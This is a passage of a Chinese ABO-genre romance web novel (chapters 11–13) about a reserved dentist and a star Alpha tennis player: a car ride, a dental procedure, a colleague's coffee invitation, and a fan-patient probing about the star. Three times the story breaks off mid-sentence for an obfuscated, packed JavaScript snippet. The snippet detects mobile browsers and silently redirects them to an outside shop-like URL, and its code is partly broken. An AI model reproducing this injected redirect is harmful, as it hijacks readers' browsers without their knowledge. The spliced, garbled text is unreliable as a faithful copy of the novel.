可能是因为车内光线柔和,也可能是因为刚才那段短暂的交谈,苏琼林惯常的冷硬线条似乎软化了不少。 他侧着脸看着窗外,睫毛很长,鼻梁挺直,唇色很淡,脸上没什么表情,却莫名有种沉静的气质。 艾利欧的视线不经意间扫过苏琼林的睫毛尖,那里似乎沾了一颗几乎看不见的小雨珠,大概是刚才车窗没关好从窗外飞进来的。 鬼使神差地,他下意识就抬起了手,朝着苏琼林的脸颊方向伸去,想帮他拂掉。 他的动作并不快,苏琼林几乎在艾利欧抬手的同时就察觉了,身体本能地后仰,避开了那只伸过来的手。 他转过头,黑色的眸子带着明显的警觉,看向艾利欧。 空气瞬间凝滞。 艾利欧的手僵在半空,心里咯噔一下。 糟了,唐突了。 他反应极快,手腕顺势一转,直接伸向了中控台的空调调节钮,动作非常自然,就好像他原本就是打算这么做。 “咳,有点冷吧?我把温度调高一点。” 苏琼林看着他调空调的动作,眼中的警觉慢慢褪去,但身体依旧保持着微微后靠的姿势。 他沉默了几秒,才低声说了句:“谢谢。” 绿灯亮起,艾利欧松开刹车,车子重新启动。 这个小插曲似乎让两人之间刚刚缓和一点的气氛又回到了原点,甚至更微妙了些。 直到车子平稳地停在苏琼林所住的小区门口,艾利欧才再次开口:“苏医生,周五上午复诊之后,我就要立马飞欧洲参加下一站比赛了。” “嗯。”苏琼林记得日程,“初步治疗完成后,需要观察十天左右才能进行第二次修复。时间上应该来得及。” “那就好。”艾利欧点点头,目光灼灼地看着苏琼林:“那你会看我的比赛吗?” 苏琼林解安全带的动作顿了一下。他抬眼,对上艾利欧那双充满期待的蓝眼睛。 看网球比赛? “不看。”他回答得干脆利落,推开副驾驶的门,“谢谢你的车。” 说完,便低头钻出了车厢,快步走向小区。 雨还在下,但小了些。 他听到身后传来艾利欧的大笑声,爽朗却并不让人讨厌,甚至穿透雨幕,清晰地传到他耳朵里。 然后,是艾利欧抬高了些的声音:“没关系!我会赢给你看的!” 语气里带着自信和笃定,苏琼林看不看,他都会赢,而且赢得漂亮。 艾利欧坐在车里,看着那个清瘦挺拔的背影,直到完全看不见了,才缓缓收回视线。 他脸上的笑容慢慢收敛,浮上了不常见的深思。 他拿出手机,手指在屏幕上快速滑动,找到了经纪人的号码,拨了出去。 电话很快被接通。 “霍克,”艾利欧的声音在安静的车厢里响起,“我之前让你帮我留意这个城市的房子,有消息了吗?” 电话那头的霍克似乎有些意外:“艾利欧?房子?哦,看了几套,资料发你邮箱了。不过我说,你真打算在这儿买房?你一年能来几次?” 艾利欧嘴角勾起势在必得的笑意,左边脸颊的梨涡又露了出来。 “嗯,突然觉得这城市挺不错的。适合训练,也适合偶尔放松。”他顿了顿,补充道,“发给我了的话,我等下就看看。” 艾利欧挂了电话,将手机扔在副驾驶座上。 他靠在椅背上,长长地舒了一口气。 等想起苏琼林刚才那句毫不犹豫的“不看”时,心里那点不服输的劲头又冒了上来。 不看是吧? 他偏要赢,而且要赢得让所有人都看到,让所有人都为他狂热。 到时候,说不定……哼。 而另一边,苏琼林已经回到了自己安静整洁的公寓。 他走到窗边,下意识地向下望去。 楼下街道空荡荡的,那辆黑色的SUV已经离开了。 他站在原地,雨后的凉风从微开的窗户缝隙吹进来,拂过他的发梢。他抬起手,无意识地碰了碰自己的眼角,那里干燥洁净,什么都没有。 刚才在车里,是错觉吗? 那个金发Alpha伸手的动作,和他随后有些生硬地转开话题的样子…… 苏琼林微微蹙眉,将这点莫名的思绪抛开。 「我会赢给你看的。」 他赢不赢,跟我有什么关系? 简直莫名其妙! 苏医生冷静地想到。 11. 第一次治疗 周五上午,艾利欧·卢茨的身影准时出现在诊所中。 今天他穿得比前几次都更日常些,简单的白色T恤外罩一件深色休闲衬衫,下身是合身的卡其色长裤,那头耀眼的金发似乎也仔细打理过,松散却有序,整个人少了几分凌厉张扬,多了点勉强可以说是“乖顺”的气息。 他推开诊所门,迎面扑来的依旧是熟悉的消毒水味。 助理小周一口气喝完早餐的豆浆,腮帮子鼓鼓的像只小仓鼠,说起话来含含糊糊:“卢茨先生,上午好,苏医生已经在等您了。” 看到艾利欧进来,她赶紧努力咽下口中的液体,尽量让自己显得专业一点。 “上午好,周小姐。”艾利欧回以笑容,左边脸颊那个小梨涡浅浅地现了一下。 他今天似乎没太多跟小周闲聊的心情,目光径直投向里面那间紧闭的诊疗室门。 他今天心情有种奇特的平静,不像第一次来时的焦躁试探,也不像第二次取模时那种带着较劲意味的好奇。 或许是知道自己的牙齿问题即将得到根本性的解决,也或许是单纯对即将再次见到那位冷面医生有了点不一样的感受。 小周引着他走过去,轻轻敲了敲门,然后推开:“苏医生,卢茨先生到了。” 诊疗室里,苏琼林正站在牙科手术显微镜旁,进行最后的调试。 他闻声转头,依旧是那身一丝不苟的白大褂,口罩遮住了大半张脸,只露出一双沉静的黑眸和光洁的额头。 他看向艾利欧,点了点头,看起来似乎坐过艾利欧副驾驶的人不是他一样。 “请进。”他的声音透过口罩,显得有些低沉。 艾利欧迈步走进,下意识地收敛了自己周身那存在感极强的信息素。 诊疗室里格外安静,仪器低沉的待机声都清晰可闻。 无影灯还没完全打开,只有顶灯散发着暖白色的光线,照亮了中央那张让他印象深刻的诊疗椅。 “坐吧。”苏琼林言简意赅,用眼神示意了一下诊疗椅。 艾利欧咧嘴一笑,依言坐下,目光却不由自主地追随着苏琼林的身影。这个小动作让他自己都觉得有点好笑,什么时候他艾利欧·卢茨这么“听话”了? 苏琼林已经走到电脑前,调出了艾利欧的显微CT三维影像。屏幕上,那颗右侧犬牙被放大到极致,那条裂纹的深度和走向在精密的成像下一览无余。 “根据CT数据,裂纹深度和走向已经明确,未触及牙髓,但距离信息素导管非常近。”苏琼林指着屏幕上的影像,例行公事地跟患者讲治疗方案,“今天进行第一阶段正式修复,主要是显微镜下精细清理裂纹区域,制备嵌体粘接面,并放置更持久的保护材料。过程需要一段时间,你需要保持头部稳定,不能随意移动。” 他转过身,看向艾利欧:“如果有任何不适,可以举手示意,但我必须再次强调,绝对不能突然闭嘴或扭头,任何微小的移动都可能影响操作精度,甚至造成不必要的损伤。明白吗?” 明白倒是明白,但感觉有点新奇。 上一个以这种绝对命令的口气跟艾利欧说话的人,还是艾利欧的老师们。他们是天生的霸总附体,整天就只会说“听我的”、“只给你三分钟时间”或者“我不想再听第二遍”之类的话。 但艾利欧还是点了点头:“明白。” 这难得的配合态度让苏琼林多看了他一眼。 今天这位巨星患者倒是省心,没像之前那样试图找话题或者散发那种“快来看我多耀眼”的无形光波。 艾利欧躺上诊疗椅,苏琼林上前,熟练地调整椅背的角度和头托的位置,让艾利欧的头部处于一个既舒适又极利于长时间操作的最佳姿势。 他的手指偶尔会碰到艾利欧的头发或脸颊,触感隔着薄薄的手套,干燥而稳定。艾利欧忍不住想像他手指的真实触感,应该不像自己手上有那么多粗茧吧? 接着,苏琼林开始准备器械。 托盘里摆放着各种艾利欧叫不出名字的器械,细小而精致。 他戴上高倍放大镜,当那副冰冷的镜架卡上鼻梁时,艾利欧突然感觉苏琼林周身的气场瞬间变得更加凝练了,仿佛进入了某种“绝对领域”。 局部麻醉很快完成,细小的针尖刺入牙龈,带来一瞬间的刺痛,随即右半侧脸颊和嘴唇开始迅速麻木、发胀。 “感觉怎么样?麻木感来了吗?” “有点麻了。”艾利欧的声音因为面部肌肉不受控制而显得有些含混不清。 苏琼林确认麻醉生效后,开启了头顶的无影灯。暖白色的光线聚焦在艾利欧的口腔,将内部照得一片清晰。他调整好显微镜的位置,俯下身,整个人的呼吸似乎都变得轻缓下来。 “开始了,保持不动。”苏琼林叮嘱了一句。 诊疗室里彻底安静下来,只剩下仪器的运行声、冷却水轻微的喷洒声,以及苏琼林偶尔发出的极其简短的指令。 “头稍偏左。” “保持。” “漱口。” 艾利欧张着嘴,无法说话,也无法有大动作。他的视野局限在头顶那片柔和的光晕,以及苏琼林近在咫尺的眉眼和那副反射着冷光的放大镜上。 无聊之下,他的全部注意力都集中在了感官能捕捉到的细微之处。 他第一次如此清晰地观察工作中的苏琼林。 因为戴着放大镜,苏琼林的眉心微微蹙起,形成一道浅淡的竖纹,显示着高度的精神集中。他的睫毛很长,低垂着,在眼下投下一小片扇形的阴影。嘴唇抿得很紧,唇线清晰,透着一股不容置疑的控制力。 真是惊人的专注。 艾利欧心想。 他发现自己竟然没有觉得时间漫长或难熬。 这位苏医生,脱下白大褂时看起来清瘦甚至有些单薄,但一旦进入工作状态,那双手稳得可怕,每一个动作都精准、高效,没有一丝多余。 这种全身心投入的状态,让他联想到自己在大满贯决赛的关键分上,那种摒除一切杂念、眼中只有网球的瞬间。 只是苏琼林的“赛场”更安静、更精密,是一种静态的、极致的掌控。 他不得不承认,这是一种不同形式的“强”。 不带任何情绪渲染,却充满了不容置疑的力量感。 他的鼻尖萦绕着消毒水的气味,但更近处,是苏琼林身上那股极淡的干净气息,混合着非常微弱的Beta平和信息素。这种味道,与他自身那通常充满热力和侵略性的Alpha信息素截然不同,此刻奇异地让他因手术而本能紧绷的神经舒缓下来。 在这里,他不再是那个被万众瞩目的网坛巨星艾利欧·卢茨,需要时刻保持形象。他只是一个患者,一个被这位冷静强大的医生全权负责,并且用顶尖技术精心照拂的对象。 这种剥离了所有社会身份和性别光环后被纯粹对待的感觉,让他心里泛起一丝难以言喻的感觉,十分陌生。 以他的中文水平有点难以准确定义这种感觉,可是这种感觉又确实存在。 在这个特定的空间里,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696205|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对这个面前的Beta医生,他好像真的可以暂时放下一切,只需要“听话”就好。 时间在寂静中流淌。 不知过了多久,苏琼林移开了显微镜,直起身。 他下意识地抬手,用手背揉了揉后颈和肩膀交汇处。 他累了吗? 艾利欧心头莫名地一动,感觉无懈可击的苏医生好像露出了点血肉之躯的“人性化”瞬间。他几乎冲动地想开口说一句“你还好吗”或者“要不要休息一下”,但他张着嘴,只能发出一点模糊的喉音。 那种感觉很奇怪。 就像看到一把锋利无比的小刀,露出了一点点可以被触摸的刀柄。 修复工作继续。 苏琼林的动作依旧流畅精准,最后进行抛光和完善检查。 当他终于关闭所有设备,摘下放大镜和手套时,艾利欧甚至觉得时间似乎比预想中过得要快。 “可以了。”苏琼林的声音将艾利欧从思绪中拉回,“第一阶段结束,很顺利。起来漱漱口吧。” 小周适时地递上温水。 艾利欧坐起身,仔细地漱了漱口,然后小心翼翼地用舌尖感受着牙齿上的变化。临时保护罩已经被替换,现在是一种更贴合、更光滑的触感。 “感觉怎么样?”苏琼林已经坐回电脑前,开始记录病历,头也没抬地例行询问。 “很好,很平滑。”艾利欧回答,努力让因为麻醉而僵硬的口齿变得清晰些。他尝试着做了几个非常轻柔的咬合动作,“没有不舒服的感觉。” “嗯。”苏琼林继续记录,“麻醉效果完全消退大概还需要一两个小时。近期还是避免过硬过冷过热的食物。这次用的材料性能更优,但依然需要小心使用。具体注意事项,稍后小周会给你详细的清单。” 他的语气依旧平淡,是标准的医生口吻。但艾利欧却莫名觉得,之前那句“很顺利”里,隐藏着一丝满意。 这让他心情莫名地更好了一点。 “下次复诊时间,等你从欧洲比赛回来后再预约。期间如果护齿有任何问题,或者牙齿有异常感觉,及时联系诊所。”苏琼林补充道。 艾利欧点了点头,从诊疗椅上下来,活动了一下有些僵硬的肩膀和脖颈。 他走向门口,手握上门把时,停下脚步,回头看向苏琼林。 苏琼林已经站在洗手池前,正低头仔细清洗双手,水流哗哗作响。 “苏医生。”艾利欧开口。 苏琼林关掉水龙头,拿起无菌毛巾擦手,闻声转过头,用眼神询问他还有什么事。 黑色的眸子被水汽氤氲得似乎柔和了一点点,但也可能只是艾利欧自己的错觉。 艾利欧看着他那双眼睛,原本想说的“下次见”到了嘴边,却变成了:“谢谢。辛苦了。” 苏琼林有点莫名其妙,不过Alpha的心思你别猜。 艾利欧没再说什么,笑了笑,拉开门走了出去。 小周看着他离开的背影,小声蛐蛐道:“卢茨先生今天好像特别稳重呢。” 苏琼林“嗯”了一声,没什么表示。 对他而言,患者配合度高总是好事,省心省力。至于对方心里那些细微的变化,他既未察觉,也无兴趣揣测。 而已经坐在自己车里的艾利欧,并没有立刻发动引擎。 他靠在椅背上,下意识地用舌尖轻轻抵着那颗被修复过的牙齿。 他拿出手机,看了一眼日历上标记的欧洲赛程。他已经开始期待比赛结束后,回来复诊了。 12. 苏医生的小秘密 艾利欧·卢茨那颗金贵的犬牙总算完成了第一阶段修复。 他离开诊所后,周遭那属于S级Alpha的无形压力场似乎也随之消散。 世界清静了。 诊所的生活迅速回归了它固有的节奏:消毒水的气味,器械的轻鸣,以及患者来来去去时或焦虑或释然的面孔。 苏琼林坐在办公桌前,指尖在键盘上飞快敲击,记录下刚才的治疗细节。 很好,刚刚的患者也没有多余的寒暄,不需要分神应对患者的过度热情。 这种纯粹可控的工作状态,才是他的舒适区。 午休铃刚一响起,苏琼林便第一个溜进了员工休息室,径直走向他的常用位置,一个靠窗且背对门口的角落位置。 这个位置光线充足,又能避免不必要的视线交流。 他工作的时候通常都自己带饭,午餐盒是黑色的,内容一如既往的简单健康:水煮鸡胸肉、西兰花和少量糙米饭。 看起来就让人毫无食欲。 苏琼林静静地盯了餐盒两秒,才拿起筷子开吃。 自带这样的午餐倒不是因为他有多么超凡脱俗的饮食癖好,或者对健康有着什么样的高追求。 恰恰相反,他常常会想起起穿越前街角那家面馆里酸辣爽口的泡椒鸡杂面、商场三楼上那家糯到脱骨的糯香掌翅,又或者是楼底下每到饭店就香气扑鼻的鲜椒仔兔。 但作为这个ABO世界中的外来者,他认为有必要在一切细节上塑造形象,无死角地建立起绝对权威和专业信任感。 一份色彩鲜艳、气味浓郁的午餐,或许能满足口腹之欲,但难免会让人觉得这个医生过于“接地气”,甚至可能有点“不讲究”。 而眼前这份寡淡如修行餐食的“白人饭”,则无声地传递着一种信息:他苏琼林,理性、克制,对感官享受兴趣缺缺,将全部精力都投注于专业领域。 这又何尝不是一种精心的形象管理? 做牙医,他可是很认真的。 苏琼林慢条斯理地用筷子夹起一块鸡胸肉,咀嚼得认真而克制,仿佛在进行一项严谨的生理活动,而非享受美食。 当然,很大程度上是因为他口中的也不算什么美食。他的厨艺还是一如既往的稳定,这块鸡胸肉除了柴得难以下咽以外,还忘了放盐。 休息室的门被轻轻推开,一股浓郁而富有层次的咖啡香气率先侵入,短暂地压过了室内的消毒水味。 对,苏琼林的餐盒打开后,半点香气也无。 顾云深端着一个骨瓷咖啡杯走了进来,杯沿冒着丝丝热气。 他今天依旧穿着熨帖的白大褂,深褐色头发梳理得一丝不苟,整个人透着一股温文尔雅的精致感。 “苏医生,用餐很节制啊。”顾云深很自然地在苏琼林对面坐下,目光掠过那份色彩单调却摆放得异常整齐的午餐,眼神里闪过一丝笑意。 苏琼林抬起眼皮,看了他一眼,平淡地回应:“嗯。” 他面无表情,尽管喉咙深处因为持续咀嚼干柴的鸡胸肉而有些发紧。 但他不说,谁又知道呢? 顾云深微微一笑,也没继续在这个话题上纠结:“上午匆匆看了一下你之前处理的那个信息素高敏alpha的病例记录,”他小口啜饮着咖啡,“在波动期进行根管预备,还能把术后反应控制到几乎可以忽略不计,这份对细节的掌控力,确实令人佩服。” 苏琼林继续吃着同样忘了放盐的西蓝花,心情还是不可避免地受到了食物的影响而变得有些不美丽:“常规操作。” 你们这些人想要赶上,还有得学呢。 “看来我们对‘常规’的理解有些微差别。”顾云深笑容加深,“我在之前的医院,这类病例往往需要整个科室严阵以待。” 他话锋轻轻一转,自然而不突兀:“说起来,像卢茨先生那种级别的患者,一旦曝光,社会关注度都要拉满了。苏医生全程独自跟进,心理和精力的消耗肯定非同一般。以后若是再遇到这类病例,如果需要个助手分担些琐碎工作,或者只是想找个人讨论方案,纾解一下压力,我都很乐意效劳。” 嗯?你想抢我的病人吗?虽然金发alpha有点烦人,但他应该是我的病人吧? 苏琼林正准备去夹一口米饭,闻言筷子在空中微不可察地顿了一下。 他抬起眼,黑色的眸子清凌凌地看向顾云深,没有任何迂回:“不必。我可以独立操作,效率更高。” 他已经习惯了对治疗过程的绝对掌控,毕竟这个世界的有些治疗方案,简直粗糙得令人发指。 而且患者只需要面对一个权威声音,那就是他,苏医生。 这个答案似乎并未出乎顾云深的意料。 他非但没有流露出失望,反而理解地点点头:“明白,苏医生确实技术高超。” “不过,再精密的仪器也需要适当的维护和保养。工作之外,总得有点调剂,张弛有度才能保持最佳状态。我一直觉得,真正的专业,也体现在懂得如何可持续地投入。”他停顿了一下,开口邀请,“比如,下班之后一起去喝杯咖啡?我知道有家隐匿的小馆,店主是个有意思的人,只做手冲,豆子都是自己精心烘焙,风味层次绝非即溶咖啡可比。环境也极安静,很适合放松精神,或者看看文献也不错。” 下班之后喝咖啡对你来说是享受吗? 苏琼林已经吃完了饭,正用餐巾仔细擦拭着筷子,然后将它们并排摆好,放回午餐盒,准备去清洗。 听到新同事得邀请,他虽然能够理解对方对咖啡的爱好,但这好意只能心领了。 他对咖啡因的需求是功能性的,风味、体验、环境这些附加价值,在他看来都没有必要。 而且,他不管喝什么样的咖啡,都享受不了那种滋味。 “不了,我已经习惯喝罐装速溶了。”他站起身,拿起餐盒,用行动表明他的午休社交时间结束。 顾云深也随之起身,脸上依旧挂着无可挑剔的温和笑容。 “好吧,那不耽误苏医生时间了。”他率先走到休息室门口,手握上门把,却像是忽然想起什么,停下脚步,回过头来,“对了苏医生,有个小问题。我那边诊室的牙科手术显微镜,总觉得瞳距调节没有你这边这台顺手,调了几次都觉得有些偏差,影响操作精度。看你用得这么娴熟,不知道方不方便,抽空帮我看看?就几分钟的事情。” 苏琼林正拧开水龙头,水流哗哗地冲击着饭盒。 他的声音混在水声里,显得有些冷淡:“这种精密器械的校准原则上有固定流程和专人负责,你可以联系设备科预约厂家工程师进行维护。” 顾云深站在门口,看着苏琼林连肩部线条都透着“请勿打扰”意味的背影,语气里带着几分无奈的调侃,却又奇异地不含恶意:“苏医生,原则上……真是让人印象深刻。” 倒也不必如此。 苏琼林关掉水龙头,转过身,看向还站在门口的顾云深,语气平淡地补充,“不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696206|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果你信得过我的手感,我待会儿可以帮你看看基础参数设置。但仅限于目镜瞳距和屈光度这种基本调整,不涉及光路核心校准。而且,”他特别强调,“效果不敢保证,觉得不合适还是得找专业人士。” 顾云深显然没料到会得到这个答复,脸上的惊讶一闪而过:“当然信得过!苏医生肯帮忙看看就太好了,基本的瞳距调节就行。那我等你方便的时候?” “嗯。下午第一个患者结束后,有十分钟空档。”苏琼林说完,便重新转过身,拿起干净的棉柔巾开始擦拭饭盒,用背影结束了对话。 帮忙可以,但界限必须划清楚。只是举手之劳,不打包票,也不承担后续责任。 顾云深站在门口,看着苏琼林挺拔而疏离的背影,这次是真的低笑出声:“好,那我先过去准备一下。谢了,苏医生。” 带上门的时候,明显有几分心满意足。 苏琼林没理会那声道谢,将饭盒仔细放好。 他并不热衷帮忙,但对于同事这种在自己能力范围内的小请求,完全拒之门外也过于不近人情。 而且,顾云深这个新同事也不让人讨厌。 下午一点半,诊所准时进入下午的诊疗节奏。 苏琼林换上洁白挺括的白大褂,一丝不苟地洗手消毒,准备好器械。 助理小周拿着病历夹轻手轻脚地进来,压低声音说:“苏医生,下一位患者到了,是预约牙齿美白咨询的林先生,一位Omega。” 你正常工作,怎么感觉偷感这么强? “请他进来。”苏琼林黑色的眼在小周身上停留了疫苗,继续用酒精棉片仔细擦拭着口镜和探针,确保每一样器械都光洁如新。 门被推开,一位打扮相当时髦、头发抓出精致造型的年轻Omega走了进来。 他一进门,那双过于灵活的眼睛就像探照灯一样,不受控制充满好奇地扫视着诊疗室里的一切细节:从泛着冷冽金属光泽的器械推车,到墙上挂着的各种资质证书,再到苏琼林本人那张没什么表情的脸…… 他在找什么吗? 苏琼林对这类注意力涣散、心思显然不在牙齿本身的患者早已司空见惯。 只要对方能张开嘴,配合完成必要的检查程序,他并不关心对方脑子里在演什么小剧场。 他示意对方在诊疗椅上坐下,开始例行问诊:“林先生,平时饮用咖啡、浓茶这类深色饮料的频率如何?有吸烟习惯吗?” “啊?哦……咖啡每天会喝一杯,不抽烟。”Omega回答得有些心不在焉,目光依旧黏在苏琼林胸前的名牌上,甚至趁苏琼林转身调整设备时,迅速瞥了一眼墙角的医疗废物桶,好像那里面能藏着什么惊天秘密似的。 苏琼林懒得去解读这些信号。 他调好口镜灯的角度,暖白的光线打在患者脸上,形成一道清晰的光束。 “躺好,全身放松,我先检查一下你牙齿的基色和现有色素沉着情况。” 就在苏琼林俯身,手臂稳定地前伸,准备将口镜放入对方口腔的前一刹那,那个Omega像是终于积蓄了足够的证据,猛地用手肘撑起一点上身,眼睛因为兴奋和紧张而睁得溜圆,他竭力压低声音,像是怕被第三个人听到,语气既期待又小心翼翼: “苏医生!我、我肯定在网上看过您诊所内部的照片!这个极简专业的风格太有辨识度了!网球明星艾利欧·卢茨也来这里看牙吧?他上次采访里特意感谢的那个牙医,就是您吧?” 13. 苏医生的绝对掌控 两分钟前,诊所门口。 艾利欧·卢茨单手插在裤袋里,另一只手随意地推开了诊所的玻璃门。 他今天带着墨镜、口罩以及鸭舌帽,基本上算是全副武装。但那从帽檐边上露出的耀眼金发在午后阳光下简直像个自带光环的发光体,让人无法忽视。 艾利欧身上依旧是简单的白色T恤和运动长裤,却硬生生走出了T台模特的气场。 他是顺路过来的。 刚刚的训练结束后,他总觉得右侧犬牙那个临时修复体有点轻微的异物感,说不上不舒服,就是存在感比刚做完时明显了点。 其实他知道这大概率是正常现象,适应期还没完全过去而已。 但鬼使神差地,车开着开着就拐到了诊所附近。 反正离得近,过来让苏医生看一眼,图个安心。 他这么告诉自己,完全忽略了“未经预约直接上门”这种行为,对于他这种级别的公众人物来说有多不合常规。 苏医生修的牙,苏医生总得负责到底吧。 前厅里没人,小周大概在里间忙。 艾利欧对这里已经有点熟悉了,便熟门熟路地朝着苏琼林那间诊疗室走去。 诊疗室的门虚掩着,留着一道缝。 他刚走到门口,手还没抬起来敲门,就听到里面传出一个陌生的年轻男声,声音带着明显激动和八卦气息,还提到了他的名字。 “……网球明星艾利欧·卢茨也来这里看牙吧?他上次采访里特意感谢的那个牙医,就是您对吧?” 苏医生有病人? 艾利欧的脚步顿住了。 他下意识地往门边靠了靠,试图将自己高大的身躯隐藏在门框的阴影里,可惜有点徒劳无功。 不过他也不是很在意,只觉得一种混合着不悦和无奈的情绪瞬间涌上了他的心头。 又是这种打听隐私的粉丝。 作为公众人物,他早已习惯被关注,但并不代表他喜欢连私事都被拿出来议论。 这种无所不在的窥探无法让人愉悦起来,尤其是在苏医生这里。这里明明安静又隐秘,早就被他潜意识里划定为“特殊”和“私人”的领域。 他几乎能想象出里面那个家伙脸上兴奋又好奇的表情。 这种场景他见得太多了。 他皱了皱眉,准备等里面的话题告一段落再进去,或者干脆转身离开,晚点再打电话预约。 但他又真的很好奇苏医生接下来的反应。 他会承认吗?还是坚决的否认呢? 苏医生看起来就是很有职业操守的人,多半会否定吧。大概率是直接无视,或者用更冷的语气把话题堵回去。 诊疗室内,苏琼林手中的口镜停在半空,距离那位Omega林先生张开的嘴还有不到十公分。 暖白色的光束精准地打在对方那口只是轻微色素沉淀、根本谈不上需要“美白”的牙齿上,映得他因为兴奋而睁大的眼睛亮得有些过头。 “躺好。”苏琼林的声音没有任何起伏,他手腕稳定地继续向前,将口镜探入对方口腔,动作十分流畅。 林先生被迫重新躺回去,但全身都透着一股“我发现了天大秘密”的紧绷感。 他含混地发出“唔唔”声,眼神还在拼命试图与苏琼林交流。 苏琼林懒得理他。 他的注意力完全集中在Omega的牙齿上。 咖啡渍,有一点;牙结石,轻微;釉质磨损度,正常。 整体来说,这是一口非常健康、只是不够“雪白”的牙齿,来做美白咨询纯属Omega对自身外貌精益求精的体现。 “平时用牙线吗?”苏琼林一边用探针轻轻划过牙间隙,一边例行公事地问。 林先生:“唔……唔……”(用!但更想知道艾利欧·卢茨的事!) 苏琼林:“饭后漱口?” 林先生:“唔……唔!”(漱!所以艾利欧真的来过对吧?!) 检查完毕,苏琼林撤回器械。 林先生几乎是弹坐起来,也顾不上擦掉嘴角可能沾到的一点儿反光膏,迫不及待地再次压低声音,神秘兮兮地追问:“苏医生,您就别瞒我了!我都看出来了!周围环境真是太像了,而且这儿距离艾利欧的训练基地也很近。” 苏琼林正在病历本上记录检查结果,闻言笔尖都没顿一下。 他抬起眼皮,黑色的眸子平静无波地看向那位激动的Omega患者。 “林先生,”他开口,但并不是Omega想要听到的答案,“你预约的是牙齿美白咨询。我的建议是,常规洁牙后,可以考虑家用美白凝胶,效果温和持久。诊所的光固化美白虽然见效快,但对牙釉质有一定刺激,以你牙齿目前的敏感程度,我不推荐。” 林先生愣了愣,下意识地摸了摸自己的脸颊:“啊?我牙齿敏感吗?我觉得还好啊……” “右侧上颌第一前磨牙,近中邻面,探针划过时有轻微退缩和敏感反应。”苏琼林用笔尖虚点了一下自己口腔的对应位置,“这说明你的牙龈已经有早期退缩迹象,过度追求美白而忽略牙周健康,是本末倒置。” 门外的艾利欧几乎能想象出苏琼林此刻的表情,那双黑色的眼睛一定正专注地盯着患者的牙齿,眉微微蹙着。 “现在,我们可以讨论一下你的牙龈健康问题,以及是否适合进行任何形式的美白治疗。” 林先生张了张嘴,看着苏医生那张毫无表情却压迫感十足的脸,一肚子关于网球明星的八卦问题硬是被堵了回去,注意力不由自主地被拉回到了自己的牙齿上。 牙龈退缩?这可比艾利欧·卢茨重要多了啊! 苏琼林此刻已完全掌控了诊疗室的节奏。 那个Omega患者似乎被这一连串专业术语和突如其来的牙齿健康问题给镇住了,注意力被成功转移,没再继续追问艾利欧·卢茨的事情。 门外的艾利欧,心里的那点不悦和烦躁,像被戳破的气球,悄无声息地瘪了下去。 看,他的苏医生就是这样。 专业,可靠,界限分明。 不管来的是世界巨星还是普通患者,在他眼里,首先都是需要解决的“病例”。 不管是谁,都侵入不了苏医生的绝对领域。 艾利欧甚至有点想笑。 那个球迷也不知道什么时候才会发现自己被转移了话题。 但他艾利欧意识到了。 这种认知让他心情莫名地愉悦起来。 苏医生的专业态度在用在别人身上时,在艾利欧眼中,简直顺眼极了。 苏医生可不会配合任何人的八卦之心。 然而,这种愉悦感只持续了不到三秒,另一种更陌生的微妙情绪悄然冒头。 苏医生是其他AO患者的医生。 这个认知,他一直知道,但此刻却变得格外清晰,甚至有点刺眼。 他听到诊疗室里,苏琼林用那种对待所有患者一视同仁的冷静语气,对那个Omega说:“放松,别紧张,只是检查。你的牙齿问题不大,处理好就行。” 虽然知道这是医生安抚患者的惯常话术,但艾利欧心里还是泛起了一丝极其微妙的不快,不是很理性。 此刻,里面那位患者虽然被怼了,但苏医生那双专注的眼睛,那双稳定的手,此刻正为他服务。 对方也能感受到苏医生这种绝对的掌控力和专业权威…… 苏医生冷静和专业,是他欣赏的。 可当意识到苏琼林的这种态度并不仅仅针对他,也会同样给予其他患者时,模糊的占有欲就开始作祟了。 就好像他原本以为自己是特殊的,至少在这间诊疗室里是。但现在发现,苏医生对所有人都秉持着同样的原则和距离感。 这个念头让艾利欧感到一阵莫名的烦躁,他自己都觉得这情绪来得有点莫名其妙,甚至幼稚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696207|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他可是艾利欧·卢茨。 他怎么会产生这种幼稚的占有欲? 苏医生是牙医,看病人是天经地义。 他自己也只是众多患者之一,他自认比较特殊,但估计在苏医生那里根本没什么特别的。 但理智归理智,那股细微的不爽却是真实存在的。 就像自己发现的独一无二的宝藏,突然被别人也瞥见了一角,即使对方只看了一眼,也让他觉得领地被冒犯了。 艾利欧被自己这突如其来的完全不讲理的情绪弄得有些愣神。 他站在门口,进也不是,退也不是。 原本因为临时填充物有一丁点几乎可以忽略不计的异样感而想来找苏琼林看看的念头,此刻也显得有点可笑。 难道他要现在推门进去,对苏医生说“我觉得填充物好像有一点点偏差”? 苏医生大概会直接用那双黑沉沉的眼睛看着他,然后送他两个字:“不可能。” 